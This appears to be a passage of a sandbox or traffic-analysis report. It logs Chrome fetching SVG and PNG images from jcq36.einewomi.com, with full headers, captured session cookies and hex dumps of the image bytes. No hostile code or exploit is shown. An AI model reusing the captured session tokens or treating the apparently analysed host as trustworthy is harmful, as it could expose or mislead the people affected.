2024-04-24 21:08:06 UTC	662	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:06 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="rsa4mS61xGUn0buMs3WF6CuvpI65UD2BYSQqVDOb9wWKBf92Edef200" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mb1CmIpWyxrcrFwUgrGy0XHdGcQgKGmkUd1SjVvDtIurbiAmCg6AaAG4p%2BlswFhZUEbetMMfSDMMk3wzL7CLmM8WxKs%2Bc1nDKLS2OaKfqKjwUof0cH%2BUv%2B9q%2F8zzIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8799111069ea7c7f-LAX
2024-04-24 21:08:06 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-04-24 21:08:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49781	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:05 UTC	1498	OUT	GET /ghdwLwhtUo6JsNMGaykPpPmURTIsJDWlY9ZJvklNhTvmC6ukVYDmzvSTvxthORbvG7OuyBvef210 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:06 UTC	672	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:06 GMT Content-Type: image/png Content-Length: 49602 Connection: close Content-Disposition: inline; filename="ghdwLwhtUo6JsNMGaykPpPmURTIsJDWlY9ZJvklNhTvmC6ukVYDmzvSTvxthORbvG7OuyBvef210" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zG6zU8NXOHipgvlodg7SWnu6W22yRl7Q4phCvdVAVwqZRZ0L1BB4K%2FzJPlcYqxfFgzG3dtQ%2FzJb4RphVsAEg2UCEihrQ%2BL6RzvPafSEiS8FDamHC%2BqkBSbW33sXq2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879911107e2829f6-LAX
2024-04-24 21:08:06 UTC	697	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 c6 c7 0d ee e7 df Data Ascii: PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: a0 0a 7b 01 f8 3d 70 2d 70 3d 6e b9 22 49 92 24 49 92 24 49 92 24 65 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 cf 02 73 ad d2 d4 63 c0 b9 a4 46 80 41 8b 3c 7a 2a 8b 51 c0 61 c0 15 c0 2b c4 9f 3f d6 fc ba 1b 38 1c 58 6e 91 47 4f 92 24 49 92 24 49 92 24 49 92 82 2c 4f 9a 6c be 81 b4 f5 40 f4 04 ab b5 f8 7a 1e b8 0c d8 8f b4 52 8a ca 61 24 e9 3a ba 1a 98 49 fc 79 62 2d be a6 92 1a 6c f6 c0 95 9e 24 49 92 24 Data Ascii: {=p-p=n"I$I$I$egG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZgscFA<zQa+?8XnGO$I$I$I,Ol@zRa$:Iyb-l$I$
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 91 24 49 92 24 49 92 24 49 92 a0 fa 0d 1c 67 00 e7 50 9f 95 44 24 49 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 49 92 24 75 97 2a 35 70 1c 05 9c 1b 1d 42 92 54 7b 4f 03 bb 02 8f 45 07 91 24 49 92 24 49 92 24 49 52 f7 a8 4a 03 c7 11 c0 79 54 27 af 24 a9 da 9e 20 35 71 8c 0b ce 21 49 92 24 49 92 24 49 92 a4 2e 51 85 86 88 f7 00 57 00 bd d1 41 24 49 5d e5 31 e0 3f 80 e7 a3 83 48 92 24 49 92 24 49 92 24 a9 fe Data Ascii: $I$I$IgPD$IG` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$I$u*5pBT{OE$I$I$IRJyT'$ 5q!I$I$I.QWA$I]1?H$I$I$
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 03 57 03 af 5f ba c3 a2 12 1b 01 5c 40 fc 39 d5 e9 7a 77 8e c1 93 24 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 d8 2d cf 90 a9 02 7a 81 f7 00 0f 12 7f ee 55 a9 66 00 df 03 56 6f 7e c8 55 51 03 81 33 89 3f f7 3a 55 fb e6 19 36 49 92 24 49 92 24 49 92 24 29 af 43 89 9f 4c eb 44 dd 85 2b 09 74 a3 cd 81 a7 89 3f ff aa 50 73 80 2b 80 8d 5a 1a 69 d5 c1 01 c0 4b c4 9f 8b 45 d7 d3 c0 88 4c 63 26 49 92 24 49 92 24 Data Ascii: W_\@9zw$I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z-zUfVo~UQ3?:U6I$I$I$)CLD+t?Ps+ZiKELc&I$I$
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 60 54 5a cb 92 1a 76 a2 cf bb a8 9a 00 ec d1 f6 28 4a e5 72 3e f1 d7 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 f8 f3 2d aa be 4d ba 66 a5 ba fb 25 f1 d7 5b bb f5 a5 ec a3 22 49 92 24 49 92 24 49 92 a4 5a db 8b f8 49 ae 76 eb ca ec a3 a2 b2 7a 3b 30 8b f8 73 ae d3 35 0b 38 2a c3 f8 49 55 b1 3e 69 15 8b e8 6b af 9d fa 67 f6 51 91 24 49 92 24 49 92 24 49 52 ad fd 88 f8 49 ae 76 6a 06 b0 51 f6 51 51 19 6d 0b Data Ascii: `TZv(Jr>V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}-Mf%["I$I$IZIvz;0s58*IU>ikgQ$I$I$IRIvjQQQm
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: de 43 92 a4 6e 72 10 f1 f7 e2 5c 75 46 e6 b1 91 fa 33 84 6a 3f 20 d8 b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f bf 3a 51 53 80 3d f3 0c 9b d4 b5 ae 24 fe 5a 6e b5 76 2f 60 3c a4 32 d8 16 b8 18 78 95 f8 eb cc 6a be 5e 06 fe 07 d8 6a e1 03 2b 49 1d 74 0b f1 5f 0f ad 7a d5 34 e0 f7 c0 67 80 8d 90 24 a9 7e fe 4d fc fd 36 67 2d 97 77 78 a4 d7 38 8d f8 f3 3c 67 7d 28 eb e8 48 0a 33 14 98 4c fc 17 95 56 ea be 02 Data Ascii: Cnr\uF3j? !5qIIr}u~RfR/T*+GPf7;a~=IZHToWUf?mH"JSx?:QS=$Znv/`<2xj^j+It_z4g$~M6g-wx8<g}(H3LV
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 15 6d 6f e0 ef c0 59 c0 0a c1 59 24 49 92 24 49 25 d0 5f 03 c7 f6 1d 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 74 10 49 92 3a 60 55 e0 17 c0 ff c3 ef fb 25 49 92 24 a9 6b f5 d7 c0 51 c5 a7 dc 6e 06 26 47 87 50 5b ce 24 ed 01 5b 47 d3 81 77 01 ff 88 0e 22 e9 ff 5c 13 1d a0 45 55 6c b2 54 f9 f5 90 56 c0 ba 99 d4 28 24 95 c9 10 e0 5c e0 c7 c0 b0 e0 2c 92 24 75 c2 fb 80 07 80 43 a2 83 48 92 24 49 92 3a af 2e Data Ascii: moYY$I$I%_OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwTtI:`U%I$kQn&GP[$[Gw"\EUlTV($\,$uCH$I:.
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: a3 70 05 18 a9 6e aa 76 4f d9 30 3a 80 4a e3 10 e0 ec e8 10 52 c9 f5 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e d4 01 55 7b 5a ba db ac 08 7c 2d 3a 44 66 8f 02 9f 8a 0e 21 a9 10 55 bc a7 ac 46 f5 1a 4f 94 cf 36 c0 2f e9 bf 43 57 52 ff d6 06 7e 4e fa 01 69 56 70 16 49 92 3a 69 20 f0 33 52 03 f0 9f 83 b3 48 92 24 49 52 94 cb 80 c7 fb f9 fd ad 81 8d fb fc fa 71 e0 9e 7e fe de 5d 4d fc 5f cb 93 9a 38 be dd cf Data Ascii: pnvO0:JR?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VNU{Z\|-:Df!UFO6/CWR~NiVpI:i 3RH$IRq~]M_8
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 5c b6 25 bd c8 1d 7d 5e e4 aa f7 e5 1d 1e 75 a1 65 80 af 92 26 0c 17 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 3f 7f e7 e5 be 7f a7 97 ea 2d c1 3e 31 3a 80 16 70 06 d0 1b 1d 22 93 df 90 9e ce 95 5a b5 07 a9 c9 ec 24 96 3c 61 f8 01 e0 16 60 95 a2 43 69 a9 55 f1 fe 52 b5 55 b4 b4 74 be 0a 6c 17 1d a2 a2 26 01 e7 02 9b 03 bb 90 9a e5 ea be 4a cd 4c e0 2a 60 7f d2 53 cb 5f 04 1e 09 4d 54 6d 5f 25 4d 18 4a 92 Data Ascii: \%}^ue&w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W?->1:p"Z$<a`CiURUtl&JL*`S_MTm_%MJ
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 71 5f 8b b6 0b 70 60 74 08 49 92 24 49 ea 06 bd a4 2d 02 a4 25 e9 a1 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 aa dd c3 35 df 3e c0 be d1 21 4a e6 3b a4 31 79 31 3a 88 38 9b b4 7d cd 0b d1 41 4a e4 84 e8 00 92 a4 c2 fd 9a d4 48 7a 73 70 8e b2 5a 1f 38 2a 3a 84 24 49 92 24 d5 9d 0d 1c 5a 1a 3d c0 49 d1 21 32 39 0a 98 16 1d 42 a5 d1 03 1c 0e 3c 08 1c 12 9c a5 af 0d 80 0f 46 87 e8 52 55 5b 81 a3 6a f7 70 25 3d c0 d7 a2 43 94 c8 Data Ascii: q_p`tI$I-%>o\|lHX_eXWT5ajAgI=:H\|L6!ID79Y$IFPqGoFP.6j5>!J;1y1:8}AJHzspZ8:$I$Z=I!29B<FRU[jp%=C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49782	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:05 UTC	1490	OUT	GET /opQ1VLLxlmCyN0H1bJZA12Sf5aAzBd7njDwdYX50uvvGCU6B7h61ClQhaEkS3imef240 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:06 UTC	666	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:06 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="opQ1VLLxlmCyN0H1bJZA12Sf5aAzBd7njDwdYX50uvvGCU6B7h61ClQhaEkS3imef240" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OkKBvLn9wCmmx%2FR2xDm%2F6K1p487baJGy7g5myXFnjaIAJKuBM6UkBNPYP%2B%2FM3ksDDYO0AaMqEI%2F5xhhy0avRvQUBtKoDISlax53LpRvLEB9Ue8SUMdzLLSTZ6aQOtg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879911108ae67c9e-LAX
2024-04-24 21:08:06 UTC	703	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 b0 cb 38 7f 22 14 71 b1 fc 12 7c 76 0a 11 e2 af 5b 2f 00 f5 ea d5 43 f5 6a 55 59 5c a9 e5 39 d6 88 21 c0 10 60 08 f0 8f 00 1b 90 35 c4 74 c9 df 4b b9 c5 7f 2d a2 52 1a 34 68 88 05 0b e6 ab 85 69 f8 cd 5b 5c e7 4e 1d a9 9c 3c 79 2c 30 6a ca 6c 95 9f cb 47 bf 7a 89 db 37 ae e1 c6 95 0b 48 fc 98 90 a5 65 e6 e6 79 Data Ascii: 9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih8"q\|v[/CjUY\9!`5tK-R4hi[\N<y,0jlGz7Hey
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf 1e 6a 63 c9 88 5e 14 a1 c1 8c d0 00 01 46 f4 1a 80 27 e2 a6 6a 0f aa 22 c6 24 47 d3 76 ec da c5 fd 36 7e 3c ad 43 72 bc ff b7 71 23 2f 18 7e 4c fa c4 05 b7 6b 87 e7 cf b3 4e f0 d2 ad ff 30 14 2f 51 4a 54 b0 bf 89 7e 85 5d 9b d6 e2 d5 cb e7 52 bb 7e 1a 30 00 43 06 0f 56 0b 53 46 f4 a2 0a 0f 66 8c 1a 08 30 a2 57 Data Ascii: #&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FWjc^F'j"$Gv6~<Crq#/~LkN0/QJT~]R~0CVSFf0W
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef d6 55 2d 8c f9 24 fa 62 79 f3 e2 44 8b 66 99 ac 0e da 7f 00 f7 3f c4 d3 cf 03 0a bb 60 65 dd 3a 72 75 e2 be 7e 85 